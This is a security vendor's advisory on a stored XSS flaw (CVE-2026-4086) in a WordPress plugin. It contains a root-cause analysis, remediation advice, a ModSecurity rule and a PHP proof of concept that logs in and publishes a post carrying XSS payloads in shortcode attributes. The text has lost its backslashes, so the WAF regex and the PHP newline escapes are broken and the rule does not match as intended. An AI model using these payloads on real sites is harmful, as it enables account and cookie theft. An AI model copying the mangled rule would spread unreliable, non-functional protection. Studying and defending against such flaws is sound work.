Atomic Edge analysis of CVE-2026-4086 (metadata-based):
The WP Random Button plugin version 1.0 contains an authenticated stored cross-site scripting vulnerability in its ‘wp_random_button’ shortcode implementation. Attackers with Contributor-level WordPress access can inject malicious scripts via the ‘cat’, ‘nocat’, and ‘text’ shortcode attributes. These scripts execute when any user views a page containing the malicious shortcode.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The vulnerability description confirms the random_button_html() function concatenates user-supplied ‘cat’ and ‘nocat’ parameters directly into HTML data-attributes without esc_attr(). The ‘text’ parameter enters HTML content without esc_html(). This matches CWE-79 patterns where user input reaches output without proper neutralization. These conclusions are inferred from the CWE classification and vulnerability description since source code is unavailable.
Exploitation requires Contributor-level authentication. Attackers create or edit posts containing the malicious shortcode. The payload embeds within the shortcode attributes. Example: [wp_random_button cat=”‘ onmouseover=’alert(document.cookie)” text=”alert(1)”] When WordPress renders the post, the plugin outputs the unsanitized attributes, executing the JavaScript payload in visitors’ browsers. The stored nature means the attack persists across sessions.
Remediation requires proper output escaping. Developers should apply esc_attr() to all shortcode attributes placed in HTML attributes. They must use esc_html() for attributes placed in HTML text content. WordPress coding standards mandate these functions for all dynamic data output. The plugin should also validate shortcode attribute values against expected formats before processing.
Successful exploitation allows attackers to perform actions as the viewing user. This includes stealing session cookies, performing administrative actions if an administrator views the page, defacing websites, or redirecting users to malicious sites. The CVSS score of 6.4 reflects medium confidentiality and integrity impacts with no availability impact, but scope changes increase potential damage across the application.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4086 (metadata-based)
# This rule blocks exploitation of the WP Random Button shortcode XSS vulnerability
# It targets POST requests to WordPress that contain the malicious shortcode attributes
# The rule is narrowly scoped to match the specific plugin's shortcode pattern
SecRule REQUEST_METHOD "@streq POST"
"id:10004086,phase:2,deny,status:403,chain,msg:'CVE-2026-4086: WP Random Button Stored XSS via shortcode attributes',severity:'CRITICAL',tag:'CVE-2026-4086',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule REQUEST_URI "@rx /wp-admin/(post.php|post-new.php)"
"chain"
SecRule REQUEST_BODY "@rx [wp_random_button[^]]*(cat|nocat|text)s*=s*['"]?[^'"]*[<>'"()]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4086 - WP Random Button <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'cat' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2026-4086
* Assumptions based on vulnerability description:
* 1. The plugin registers a 'wp_random_button' shortcode
* 2. The shortcode accepts 'cat', 'nocat', and 'text' attributes
* 3. These attributes are not properly escaped in output
* 4. Contributor+ users can create/edit posts with shortcodes
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payloads for different attributes
$payloads = [
'cat' => "' onmouseover='alert(document.cookie)",
'nocat' => "' onclick='alert(1)",
'text' => "<script>alert('XSS via text attribute')</script>"
];
// Step 1: Authenticate to WordPress
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($httpCode !== 200 || strpos($response, 'Dashboard') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Create a new post with malicious shortcode
$post_title = 'Test Post with XSS Payload';
$post_content = "This post contains a malicious WP Random Button shortcode:nn[wp_random_button cat='{$payloads['cat']}' text='{$payloads['text']}']nnHover over the button to trigger the XSS.";
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => '// Nonce would be extracted from previous response in real exploitation',
'_wp_http_referer' => '/wp-admin/post-new.php'
])
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Verify exploitation
// In a real scenario, we would extract the post ID and visit it
// This PoC assumes the post was created successfully
// The XSS payload will execute when users view the post
echo "PoC completed. If authentication succeeded, a post with XSS payload was created.n";
echo "Visit the newly created post and hover over the random button to trigger the XSS.n";
?>
